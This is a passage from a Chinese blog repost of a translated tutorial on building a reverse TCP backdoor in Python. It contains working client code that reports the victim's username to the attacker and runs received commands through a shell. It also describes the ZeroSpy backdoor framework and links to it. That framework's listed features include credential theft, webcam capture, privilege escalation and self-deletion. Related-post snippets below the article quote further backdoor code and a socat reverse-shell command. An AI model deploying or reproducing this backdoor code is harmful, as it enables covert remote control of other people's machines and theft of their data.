       
       if platform.system() == 
       
       "Linux":
      
      
    
     
     
  26. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               x_info += os.getlogin()  
       
       # Linux平台
      
      
    
     
     
  27. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif platform.system() == 
       
       "Windows":
      
      
    
     
     
  28. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               x_info += os.getenv(
       
       'username')  
       
       # Windows
      
      
    
     
     
  29. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  30. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       # 发送数据
      
      
    
     
     
  31. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           conn.send(x_info)
      
      
    
     
     
  32. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  33. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       # 会话维持
      
      
    
     
     
  34. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           interactive_session(conn)
      
      
    
     
     
  35. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           conn.close()
      
      
    
     
     
  36. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  37. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 会话维持
      
      
    
     
     
  38. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def interactive_session(conn):
      
      
    
     
     
  39. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       while 
       
       1:
      
      
    
     
     
  40. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       try:
      
      
    
     
     
  41. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   command = str(conn.recv(
       
       1024))
      
      
    
     
     
  42. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       except socket.error:
      
      
    
     
     
  43. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   sys.exit(
       
       1)
      
      
    
     
     
  44. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  45. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       if command.split(
       
       " ")[
       
       0] == 
       
       "exec":
      
      
    
     
     
  46. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   res = 
       
       1
      
      
    
     
     
  47. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   msg = 
       
       ""
      
      
    
     
     
  48. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  49. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       while len(command.split(
       
       " ")) > res:
      
      
    
     
     
  50. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       msg += command.split(
       
       " ")[res] + 
       
       " "
      
      
    
     
     
  51. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       res += 
       
       1
      
      
    
     
     
  52. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  53. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   sh = sp.Popen(msg,shell=
       
       True,
      
      
    
     
     
  54. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                                 stdout= sp.PIPE,
      
      
    
     
     
  55. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                                 stderr = sp.PIPE,
      
      
    
     
     
  56. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                                 stdin= sp.PIPE)
      
      
    
     
     
  57. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   out,err = sh.communicate()
      
      
    
     
     
  58. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  59. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   result = str(out) + str(err)
      
      
    
     
     
  60. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  61. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   send_data(conn,result)
      
      
    
     
     
  62. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  63. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       elif command == 
       
       "exit()":
      
      
    
     
     
  64. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       break
      
      
    
     
     
  65. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       else:
      
      
    
     
     
  66. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   send_data(conn,
       
       "[-] Unknown Command")
      
      
    
     
     
  67. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 发送数据
      
      
    
     
     
  68. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def send_data(conn,data):
      
      
    
     
     
  69. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           length = str(len(data)).zfill(
       
       16)
      
      
    
     
     
  70. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           conn.send(length + data)
      
      
    
     
     
  71. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  72. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       if __name__ == 
       
       "__main__":
      
      
    
     
     
  73. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           connect()

 

0x3 最终介绍

随着某些勒索软件的教程，有些用户已经开始把文章中的代码装备到了自己写的恶意软件里。把知识用于恶意盈利，这不是作者愿意看到的局面。

这个TCP反向连接后门思路，已经事先写好了程序，并构建成了一个框架。作者实现了很多功能，比如远程导入、下载、获取root权限和升级攻击、网络摄像头、屏幕截图、情报搜集、窃取凭证等功能。为了让这个后门程序能够在大多数Linux发行版中得到充分的支持，已经尝试将其移植到各种发行版中，以解决不同的系统设计问题。

但是很不幸，作者删除了最后一个虚拟机（里面有程序最新的代码），因为硬件设备有限，只能通过利用虚拟机的方式来节省空间。如今只能把最后备份的文件贡献了出来，有兴趣的人可以把它继续开发得更加全面来帮助论坛。

为了让感兴趣的开发者了解项目中的信息，这里展示部分项目的截图。项目地址如下：

ZeroSpy：https：//github.com/sergeantexploiter/zero

3.1 启动界面（攻击者）

使用python zero.py命令在目录中启动程序。

这个本来有个横幅文字展示，但是为了节省展示空间，我删除掉了。输入help命令打印出帮助命令。这个程序首先检查状态是不是已经正常运行。是通过框架启动时加载的自定义别名文件实现的，在不同的端口上开始监听，而不是手动输入。运行状态文件使用相同的命令代码，类似在终端中输入使用的方式一样。

功能函数代码主要放置在configurations文件夹。使用start_services命令可以把程序运行起来，启动了多个监听器，使用HASH标签做注释。

随意使用命令，我演示的是start_server命令，它接受两个参数：主机和端口。如果要为主机输入空的double/single字符串，请改用localhost。只是为了帮助程序更好地显示。

我们可以在一个监听器上接受多个客户端，就不会中断同一监听端口上的其他连接。

3.2 受控端界面 (受害者)

客户端脚本使用connect.py文件。语法是：python connect.py <host> <port>。客户端具有自动连接功能，如果连接失败会重新连接。

3.3 回连界面 (攻击者)

当客户端连接时，我们在终端上得到类似的东西。

这不会让我们直接进入shell，而是将其推入后台，以便让我们继续做正在做的事情（Defaults idea）。程序可以使用sessions命令列出所有的会话连接。

然后可以使用interact命令和会话ID进行交互。

当连接到一个客户端，有一个全新的命令集（这是在没有备份的情况下进行开发的地方）。

开发命令是 host-scanner（需要的线程），check_vm（需要更多的跨平台的结果），webcam_list webcam_snap（代码已经毁擦除掉的虚拟机里），检索目录（嵌入到脚本中，但不会在屏幕中显示 – 克隆给定的目录 – 取得了一些进展但也毁在虚拟机里），截图（像lubuntu这样的老版本和裸发行版需要更多的库支持）。加密命令（重构为使用内部安全密钥与攻击者进行第一次数据通信，DH密钥交换和AES-SHA256进行数据传输）。

在执行sysinfo命令后会提示shell（会话）的签名信息。

该签名首先计算并存储在脚本部署之前的散列算法。我不知道是否在旧版本中实现了攻击者的检查特性，但整个想法是在接受连接之前检查shell签名。这是为了防止在脚本被发现时篡改，脚本使用它自己的源代码作为签名。如果签名不匹配，连接应该会删除。如果数据传输的加密不安全(用户可以先获得签名，然后用篡改的脚本发送相同的签名)，那么该特性就可以被击败。

客户机/受害者脚本也有一个自毁特性(sh()在脚本中被注释掉)，这是在第一次连接时执行的。该特性使用了分解，如果不存在，则使用了一个内置的分解函数(我认为这是不安全的)。
另一个实现但失败的特性是可伸缩性。我有一个独立的程序，允许攻击者选择自己的模块并将它们编译到客户机脚本中，而不需要使用整个客户机脚本。在成功连接之后，客户端将所有可用的命令发送给攻击者。

这里有一个Bug的地方，就是当受害者客户端断开后，不会在攻击者的一侧被删除。这可以通过在zero.py中从连接数组和会话数组变量中删除id来解决。

我之所以上传这些文件，是因为其他人可能需要它，可能是因为我个人在Python脚本中看到了潜力。如果我不继续写下去，也并不意味着别人就可以牺牲晚上的时间来实现我的想法，并从我停止的地方继续开发下去。

 

0x4 参考

How To Make A Reverse TCP Backdoor In Python – Part 1

https://0x00sec.org/t/how-to-make-a-reverse-tcp-backdoor-in-python-part-1/1038

How To Make A Reverse TCP Backdoor In Python – Part 2

https://0x00sec.org/t/how-to-make-a-reverse-tcp-backdoor-in-python-part-2/1040

How To Make A Reverse TCP Backdoor In Python – Part 3

https://0x00sec.org/t/how-to-make-a-reverse-tcp-backdoor-in-python-part-3/4228

本文翻译自： 0x00sec.org
如若转载，请注明出处： 0x00sec.org
安全客 - 有思想的安全新媒体
SoulFa!
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
反向连接后门的使用
djyangmaowei的专栏
05-29 1336
这是一个反向连接的源程序 通过对这个程序的研究我可以知道一个cmd shell是怎么建立并实现的这是一个单管道的程序 为此我还专门看了一下书中所讲的零管道和双管道用瑞士军刀进行监听 最后得到一个cmd shell是不是溢出攻击也是要用到这个哟 嘿嘿 幻想... #include#include#pragma comment(lib,"ws2_32.lib")void m
Pyrovalerone:用python编写的反向TCP木马后门
04-07
吡咯戊酮 用python编写的反向TCP木马后门
JAVA实现反向连接_____屏幕监视 (TCP)
数据库天地
02-28 125
JAVA实现反向连接_____屏幕监视 (TCP) //以下这个为服务器类 被监视的用户 import com.sun.image.codec.jpeg.JPEGCodec; import com.sun.image.codec.jpeg.JPEGImageEncoder; import java.awt.Dimension; import java.awt.Rectangle; im...
黑客技术：针对linux系统进行渗透时，使用python生成反向tcp后门_目标靶机开启反向tcp处理程序(1)
最新发布
2401_84264536的博客
04-27 775
今天的文章中，我们会通过python开发反向tcp后门。接下来几篇文章中我还会继续介绍如何使用python编写其他模块的后门。现在我们将要编写三个程序块:连接，发送指令，接收输出.让我们开始吧～更多Python视频、源码、资料加群683380553免费获取之前已经叙述过，作为攻击者，我们不能直接连接受害服务器，这样可能会触发杀毒软件，或者我们会被禁止连接。但是受害机器连接到服务端，然后再发送指令，这样就可以很大几率绕过防火墙。我们第一步先初始化sockets模块，以及处理反向连接。导入相关数据包。
反向链接--后门
zsms1314的博客
02-28 1206
1，安装socat库 （centos） yum install socat http://www.dest-unreach.org/socat/download/ socat库下载地址 2，安装方式 ./configure make make install 3，使用方式 server端 socat file:tty,raw,echo=0 tcp-listen:5081 client端 socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:xx.xx
反向连接后门源码
JAVA天地
05-21 178
#include&lt;winsock2.h&gt;#include&lt;stdio.h&gt;#pragmacomment(lib,"ws2_32.lib")voidmain(intargc,char**argv){char*messages=" ========================BackConnectBackDoorV0.1========================...
Python攻防-Socket通信建立TCP反向连接
道阻且长，行则将至。
08-17 1961
文章目录前言远程控制脚本编写效果演示脚本优化getopt ()完整代码效果演示 前言 本文将记录学习基于 Socket 通信机制建立 TCP 反向连接，借助 Python 脚本实现主机远程控制的目的。 我们在传输数据时，可以只使用（传输层）TCP/IP 协议，但是那样的话，如果没有应用层，便无法识别数据内容，如果想要使传输的数据有意义，则必须使用到应用层协议，应用层协议有很多，比如 HTTP、FTP、TELNET 等，也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装，Socket
基于python模拟TCP3次握手连接及发送数据
12-16
源码如下 from scapy.all import * import logging logging.getLogger('scapy.runtime').setLevel(logging.ERROR) ... global sport,s_seq,d_seq #主要是用于TCP3此握手建立连接后继续发送数据 try: #第一次握手，发
基于python写的春节烟花源码+注释.zip
02-18
基于python写的春节烟花源码+注释.zip基于python写的春节烟花源码+注释.zip基于python写的春节烟花源码+注释.zip基于python写的春节烟花源码+注释.zip基于python写的春节烟花源码+注释.zip基于python写的春节烟花...
Python-一个隐藏的基于Python的Windows后门
08-10
标题提到的"Python-一个隐藏的基于Python的Windows后门"就是一个典型的例子，展示了Python在创建隐蔽、功能强大的后门程序方面的潜力。 后门程序通常是黑客为了长期控制目标系统而植入的一种隐蔽通道。它们可以绕过...
Netray:python写的后门连接脚本
04-06
Netray是一个用Python编程语言编写的后门连接脚本，主要功能可能是为了远程控制或监控目标系统。在网络安全领域，后门通常指的是在系统中创建的秘密通道，允许未经授权的访问，这在合法用途中用于系统维护和管理，但...
Reverse_TCP_Program:用python编写的反向TCP程序
03-22
反向TCP程序 用python编写的反向TCP程序
黑客编程技术--反向后门连接的实现
Jesus in my place
02-05 2998
      大过年的，一早收到第一封rejection from CS U-Washington Seattle，郁闷。估计明天起还有一批rej要来，何时有offer啊！淡定淡定，要让自己变强大！恩恩！学习去！      反向后门连接，就是把后门程序植入到服务器上，由服务器主动发起对hacker的连接，由此hacker可以突破网络的访问障碍与server通信，并通过后门获取服务器信息。实验环境：server：windows 7 professional edition + vc6.0            
用Python写Reverse TCP 后门
IsTr33叨逼叨
11-09 408
看见一个老外用Python写的Reverse TCP后门。 小小修改了一下，让它支持Windows。 reverseTcp.py： #!/usr/bin/env python import socket, sys host = sys.argv[1] # Attacker's host address, usually '' port = int(sys.argv
TCP反向代理介绍
輚至消亡
05-01 6536
1 TCP Proxy目前，设备仅支持通过Web方式配置TCP Proxy。 1.1  概述1.1.1  SYN Flood攻击简介一般情况下，TCP连接的建立需要经过三次握手，即：(1)      TCP连接请求的发起者向目标服务器发送SYN报文；(2)      目标服务器收到SYN报文后，建立处于SYN_RECEIVED状态的TCP半连接，并向发起者回复SYN ACK报文，等待发起者的回应；...
什么叫反向链接？
zhangxinrun的专栏
11-24 1348
<br />经常听到大家在答疑论坛里说反向链接多么重要，但我一头雾水，到底什么是反向链接？<br />看以上这行内容中，“答疑论坛”这几个字链接指向了 http://www.seowhy.com/bbs/。这个链接我们称为 直接链接。<br />对于答疑论坛来讲，这个链接是它的反向链接。<br />简单概括如下：<br />网页A 上有一个链接指向网页B，则网页A 上的链接是网页B 的反向链接。<br />SEO 中谈到的反向链接又叫导入链接（Backlinks），外部链接。但反向链接的概括包括了站内和站外
1k(程序体积1kb) 反向连接,零管道后门
古剑楠的专栏
09-23 913
1k(程序体积1kb) 反向连接,零管道后门(转)   [ 日期: 2006-05-17 01:06 | 作者: d99 | 来自: 转 | | ]   写ShellCode的时候写的~C版本代码~~没用就丢出来了~CODE:/*  1k(程
Python写一个modbustcp连接多个设备的包
06-11
以下是一个Python实现的modbustcp连接多个设备的示例代码： ```python from pymodbus.client.sync import ModbusTcpClient from concurrent.futures import ThreadPoolExecutor class ModbusTcpManager: def __...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值